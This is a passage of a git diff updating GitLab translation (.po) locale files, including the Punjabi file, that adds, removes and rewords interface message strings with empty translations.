msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/pa_IN/gitlab.po b/locale/pa_IN/gitlab.po
index 8452d894d6e..5b0f44b72e1 100644
--- a/locale/pa_IN/gitlab.po
+++ b/locale/pa_IN/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: pa-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:45\n"
+"PO-Revision-Date: 2021-07-01 21:30\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
